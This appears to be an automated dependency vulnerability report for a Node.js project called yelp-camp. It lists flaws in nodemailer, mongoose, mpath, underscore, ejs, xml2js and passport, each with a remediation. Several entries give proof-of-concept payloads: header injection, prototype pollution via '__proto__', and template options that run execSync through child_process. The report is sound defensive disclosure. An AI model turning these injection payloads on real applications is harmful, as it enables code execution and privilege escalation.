  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be nodemailer@4.7.0
    Remediation: Upgrade to nodemailer@6.6.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

PoC:

const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});

Remediation

Upgrade nodemailer to version 6.6.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.12.2.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema() function is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

PoC

mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.12.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: mpath
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mpath@0.5.1
    Remediation: Upgrade to mongoose@5.13.9.

Overview

mpath is a package that gets/sets javascript object values using MongoDB-like path notation.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1 returns -1 if parts[i] is ['__proto__']. This is because the method that has been called if the input is an array is Array.prototype.indexOf() and not String.prototype.indexOf(). They behave differently depending on the type of the input.

PoC

const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined

mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mpath to version 0.8.4 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: geocoder@0.2.3

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be geocoder@0.2.3 underscore@1.3.3

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

medium severity
new

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.10.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@4.7.0

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be nodemailer@4.7.0
    Remediation: Upgrade to nodemailer@6.9.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nodemailer to version 6.9.9 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xml2js
  • Introduced through: geocoder@0.2.3

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be geocoder@0.2.3 xml2js@0.2.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: passport@0.4.1

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be passport@0.4.1
    Remediation: Upgrade to passport@0.6.0.

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.6.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References